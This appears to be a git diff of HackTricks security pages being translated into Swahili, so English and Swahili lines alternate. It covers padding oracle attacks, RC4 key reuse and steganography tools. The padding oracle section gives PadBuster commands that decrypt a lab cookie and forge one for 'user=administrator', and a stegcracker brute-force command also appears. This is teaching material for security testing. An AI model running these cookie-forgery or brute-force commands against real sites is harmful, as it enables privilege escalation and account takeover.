Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
Kadri usimbaji unavyofanywa katika **blocks za ukubwa thabiti**, **padding** mara nyingi inahitajika katika **block ya mwisho** kukamilisha urefu wake.\
Mara nyingi **PKCS7** inatumika, ambayo inazalisha padding **ikirejelea** **idadi** ya **bytes** **zinazohitajika** kukamilisha block. Kwa mfano, ikiwa block ya mwisho inakosa bytes 3, padding itakuwa `\x03\x03\x03`.
Let's look at more examples with a **2 blocks of length 8bytes**:
Tuchunguze mifano zaidi na **blocks 2 za urefu wa 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Note how in the last example the **last block was full so another one was generated only with padding**.
Kumbuka jinsi katika mfano wa mwisho **block ya mwisho ilikuwa kamili hivyo nyingine ilizalishwa tu na padding**.
## Padding Oracle
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
Wakati programu inafungua data iliyosimbwa, kwanza itafungua data; kisha itatoa padding. Wakati wa kusafisha padding, ikiwa **padding isiyo sahihi inasababisha tabia inayoweza kugundulika**, una **udhaifu wa padding oracle**. Tabia inayoweza kugundulika inaweza kuwa **kosa**, **ukosefu wa matokeo**, au **jibu lenye mwendo polepole**.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
Ikiwa unagundua tabia hii, unaweza **kufungua data iliyosimbwa** na hata **kusimbwa kwa maandiko yoyote ya wazi**.
### How to exploit
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
### Jinsi ya kutumia
Unaweza kutumia [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kutekeleza udhaifu huu au tu fanya
```
sudo apt-get install padbuster
```
In order to test if the cookie of a site is vulnerable you could try:
Ili kujaribu kama cookie ya tovuti ina udhaifu unaweza kujaribu:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Encoding 0** inamaanisha kwamba **base64** inatumika (lakini zingine zinapatikana, angalia menyu ya msaada).
**Encoding 0** means that **base64** is used (but others are available, check the help menu).
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
Unaweza pia **kutumia udhaifu huu kuandika data mpya. Kwa mfano, fikiria kwamba maudhui ya cookie ni "**_**user=MyUsername**_**", basi unaweza kubadilisha kuwa "\_user=administrator\_" na kuongeza mamlaka ndani ya programu. Unaweza pia kufanya hivyo ukitumia `paduster`ukitaja -plaintext** parameter:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
Ikiwa tovuti ina udhaifu, `padbuster` itajaribu moja kwa moja kubaini wakati kosa la padding linapotokea, lakini unaweza pia kuonyesha ujumbe wa kosa kwa kutumia parameter **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### Nadharia
### The theory
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
Kwa **muhtasari**, unaweza kuanza kufichua data iliyosimbwa kwa kubashiri thamani sahihi ambazo zinaweza kutumika kuunda **paddings tofauti**. Kisha, shambulio la padding oracle litaanza kufichua byte kutoka mwisho hadi mwanzo kwa kubashiri ni ipi itakuwa thamani sahihi inayounda padding ya **1, 2, 3, n.k.**.
![](<../images/image (561).png>)
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
Fikiria una maandiko yaliyosimbwa yanayochukua **blocks 2** yaliyoundwa na byte kutoka **E0 hadi E15**.\
Ili **kufichua** **block** ya **mwisho** (**E8** hadi **E15**), block nzima inapita kupitia "block cipher decryption" ikizalisha **byte za kati I0 hadi I15**.\
Hatimaye, kila byte ya kati inachanganywa na byte zilizopita zilizofichwa (E0 hadi E7). Hivyo:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
- `C12 = I12 ^ E4`
- ...
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
Sasa, inawezekana **kubadilisha `E7` hadi `C15` iwe `0x01`**, ambayo pia itakuwa padding sahihi. Hivyo, katika kesi hii: `\x01 = I15 ^ E'7`
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
Hivyo, kupata E'7, inawezekana **kuhesabu I15**: `I15 = 0x01 ^ E'7`
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Ambayo inaturuhusu **kuhesabu C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
Kujua **C15**, sasa inawezekana **kuhesabu C14**, lakini wakati huu kwa kubashiri padding `\x02\x02`.
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
Hii BF ni ngumu kama ile ya awali kwani inawezekana kuhesabu `E''15` ambayo thamani yake ni 0x02: `E''7 = \x02 ^ I15` hivyo inahitajika tu kupata **`E'14`** inayozalisha **`C14` inayolingana na `0x02`**.\
Kisha, fanya hatua hizo hizo kufichua C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Follow this chain until you decrypt the whole encrypted text.**
**Fuata mnyororo huu hadi ufichue maandiko yote yaliyosimbwa.**
### Detection of the vulnerability
### Ugunduzi wa udhaifu
Register and account and log in with this account .\
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
Jisajili na ujiandikishe na akaunti hii.\
Ikiwa unajaribu **kuingia mara nyingi** na kila wakati unapata **cookie ile ile**, kuna uwezekano wa **kitu** **kibaya** katika programu. **Cookie inayotumwa nyuma inapaswa kuwa ya kipekee** kila wakati unapoingia. Ikiwa cookie ni **daima** ile **ile**, kuna uwezekano itakuwa daima halali na hakuna **njia ya kuifuta**.
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
Sasa, ikiwa unajaribu **kubadilisha** **cookie**, unaweza kuona unapata **kosa** kutoka kwa programu.\
Lakini ikiwa unafanya BF padding (ukitumia padbuster kwa mfano) unafanikiwa kupata cookie nyingine halali kwa mtumiaji tofauti. Hali hii ina uwezekano mkubwa wa kuwa na udhaifu kwa padbuster.
### References
### Marejeleo
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
{{#include ../banners/hacktricks-training.md}}
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
Ikiwa unaweza kwa namna fulani kuandika maandiko ya wazi kwa kutumia RC4, unaweza kufungua maudhui yoyote yaliyoandikwa kwa RC4 hiyo (ukitumia nenosiri lile lile) kwa kutumia tu kazi ya kuandika.
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
Ikiwa unaweza kuandika maandiko ya wazi yanayojulikana unaweza pia kutoa nenosiri. Marejeleo zaidi yanaweza kupatikana katika mashine ya HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}

View File

@ -2,50 +2,41 @@
{{#include ../banners/hacktricks-training.md}}
## **Extracting Data from Files**
## **Kutoa Data kutoka kwa Faili**
### **Binwalk**
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
Chombo cha kutafuta faili za binary kwa ajili ya faili na data zilizofichwa. Inapatikana kupitia `apt` na chanzo chake kinapatikana kwenye [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
Inarejesha faili kulingana na vichwa na miguu yao, muhimu kwa picha za png. Imewekwa kupitia `apt` na chanzo chake kiko kwenye [GitHub](https://github.com/korczis/foremost).
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
Inasaidia kuona metadata ya faili, inapatikana [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
Inafanana na exiftool, kwa ajili ya kuangalia metadata. Inaweza kusakinishwa kupitia `apt`, chanzo kiko kwenye [GitHub](https://github.com/Exiv2/exiv2), na ina [tovuti rasmi](http://www.exiv2.org/).
```bash
exiv2 file # Shows the metadata
```
### **File**
Identify the type of file you're dealing with.
Tambua aina ya faili unayoshughulika nayo.
### **Strings**
Extracts readable strings from files, using various encoding settings to filter the output.
Hutoa maandiko yanayosomika kutoka kwa faili, kwa kutumia mipangilio mbalimbali ya uandishi ili kuchuja matokeo.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
```
### **Comparison (cmp)**
Useful for comparing a modified file with its original version found online.
Inatumika kulinganisha faili iliyobadilishwa na toleo lake la asili lililopatikana mtandaoni.
```bash
cmp original.jpg stego.jpg -b -l
```
## **Kutoa Takwimu Zilizofichwa Katika Maandishi**
## **Extracting Hidden Data in Text**
### **Takwimu Zilizofichwa Katika Nafasi**
### **Hidden Data in Spaces**
Makarakteri yasiyoonekana katika nafasi zinazonekana kuwa tupu yanaweza kuficha taarifa. Ili kutoa data hii, tembelea [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
## **Kutoa Takwimu Kutoka kwa Picha**
## **Extracting Data from Images**
### **Identifying Image Details with GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
### **Kutambua Maelezo ya Picha kwa kutumia GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) inatumika kubaini aina za faili za picha na kutambua uwezekano wa uharibifu. Tekeleza amri iliyo hapa chini ili kukagua picha:
```bash
./magick identify -verbose stego.jpg
```
To attempt repair on a damaged image, adding a metadata comment might help:
Ili kujaribu kurekebisha picha iliyo haribika, kuongeza maoni ya metadata kunaweza kusaidia:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Steghide kwa Kuficha Data**
### **Steghide for Data Concealment**
Steghide inarahisisha kuficha data ndani ya faili za `JPEG, BMP, WAV, na AU`, inauwezo wa kuingiza na kutoa data iliyosimbwa. Usanidi ni rahisi kutumia `apt`, na [kanuni yake ya chanzo inapatikana kwenye GitHub](https://github.com/StefanoDeVuono/steghide).
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
**Amri:**
**Commands:**
- `steghide info file` inaonyesha kama faili ina data iliyofichwa.
- `steghide extract -sf file [--passphrase password]` inatoa data iliyofichwa, nenosiri ni hiari.
- `steghide info file` reveals if a file contains hidden data.
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
Kwa utoaji wa mtandaoni, tembelea [tovuti hii](https://futureboy.us/stegano/decinput.html).
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
**Bruteforce Attack with Stegcracker:**
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
**Shambulio la Bruteforce na Stegcracker:**
- Ili kujaribu kuvunja nenosiri kwenye Steghide, tumia [stegcracker](https://github.com/Paradoxis/StegCracker.git) kama ifuatavyo:
```bash
stegcracker <file> [<wordlist>]
```
### **zsteg kwa Faili za PNG na BMP**
### **zsteg for PNG and BMP Files**
zsteg inajikita katika kufichua data iliyofichwa katika faili za PNG na BMP. Usanidi unafanywa kupitia `gem install zsteg`, ikiwa na [chanzo kwenye GitHub](https://github.com/zed-0xff/zsteg).
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
**Amri:**
**Commands:**
- `zsteg -a file` inatumia mbinu zote za kugundua kwenye faili.
- `zsteg -E file` inaelezea payload kwa ajili ya uchimbaji wa data.
- `zsteg -a file` applies all detection methods on a file.
- `zsteg -E file` specifies a payload for data extraction.
### **StegoVeritas na Stegsolve**
### **StegoVeritas and Stegsolve**
**stegoVeritas** inakagua metadata, inafanya mabadiliko ya picha, na inatumia LSB brute forcing miongoni mwa vipengele vingine. Tumia `stegoveritas.py -h` kwa orodha kamili ya chaguzi na `stegoveritas.py stego.jpg` kutekeleza ukaguzi wote.
**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks.
**Stegsolve** inatumia filters mbalimbali za rangi kufichua maandiko au ujumbe uliofichwa ndani ya picha. Inapatikana kwenye [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
### **FFT kwa Ugunduzi wa Maudhui ya Fichwa**
### **FFT for Hidden Content Detection**
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
Mbinu za Fast Fourier Transform (FFT) zinaweza kufichua maudhui yaliyofichwa katika picha. Rasilimali muhimu ni pamoja na:
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
- [FFTStegPic kwenye GitHub](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy for Audio and Image Files**
### **Stegpy kwa Faili za Sauti na Picha**
Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy).
Stegpy inaruhusu kuingiza taarifa katika faili za picha na sauti, ikisaidia fomati kama PNG, BMP, GIF, WebP, na WAV. Inapatikana kwenye [GitHub](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck for PNG File Analysis**
To analyze PNG files or to validate their authenticity, use:
### **Pngcheck kwa Uchambuzi wa Faili za PNG**
Ili kuchambua faili za PNG au kuthibitisha uhalali wao, tumia:
```bash
apt-get install pngcheck
pngcheck stego.png
```
### **Zana Zaidi za Uchambuzi wa Picha**
### **Additional Tools for Image Analysis**
For further exploration, consider visiting:
Kwa uchunguzi zaidi, fikiria kutembelea:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@ -153,66 +133,60 @@ For further exploration, consider visiting:
- [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/)
## **Extracting Data from Audios**
## **Kutoa Data Kutoka kwa Sauti**
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
**Audio steganography** inatoa njia ya kipekee ya kuficha taarifa ndani ya faili za sauti. Zana tofauti hutumiwa kwa ajili ya kuingiza au kupata maudhui yaliyofichwa.
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
Steghide ni zana yenye uwezo wa kuficha data katika faili za JPEG, BMP, WAV, na AU. Maelekezo ya kina yanapatikana katika [stego tricks documentation](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
Zana hii inafaa na aina mbalimbali za muundo ikiwa ni pamoja na PNG, BMP, GIF, WebP, na WAV. Kwa maelezo zaidi, rejelea [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
ffmpeg ni muhimu kwa kutathmini uadilifu wa faili za sauti, ikionyesha taarifa za kina na kubaini tofauti zozote.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
WavSteg inajulikana kwa kuficha na kutoa data ndani ya faili za WAV kwa kutumia mkakati wa bit isiyo na umuhimu. Inapatikana kwenye [GitHub](https://github.com/ragibson/Steganography#WavSteg). Amri zinajumuisha:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
Deepsound inaruhusu usimbaji na kugundua habari ndani ya faili za sauti kwa kutumia AES-256. Inaweza kupakuliwa kutoka [the official page](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer**
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
Kifaa kisicho na thamani kwa ukaguzi wa kuona na wa uchambuzi wa faili za sauti, Sonic Visualizer inaweza kufichua vipengele vilivyofichwa ambavyo haviwezi kugundulika kwa njia nyingine. Tembelea [official website](https://www.sonicvisualiser.org/) kwa maelezo zaidi.
### **DTMF Tones - Dial Tones**
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
Kugundua sauti za DTMF katika faili za sauti kunaweza kufanywa kupitia zana za mtandaoni kama [this DTMF detector](https://unframework.github.io/dtmf-detect/) na [DialABC](http://dialabc.com/sound/detect/index.html).
## **Other Techniques**
### **Binary Length SQRT - QR Code**
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
Data za binary ambazo zinafanya mraba kuwa nambari kamili zinaweza kuwakilisha QR code. Tumia kipande hiki kuangalia:
```python
import math
math.sqrt(2500) #50
```
Kwa kubadilisha binary kuwa picha, angalia [dcode](https://www.dcode.fr/binary-image). Kusoma QR codes, tumia [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
### **Tafsiri ya Braille**
### **Braille Translation**
Kwa kutafsiri Braille, [Branah Braille Translator](https://www.branah.com/braille-translator) ni rasilimali bora.
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
## **References**
## **Marejeo**
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)

Some files were not shown because too many files have changed in this diff Show More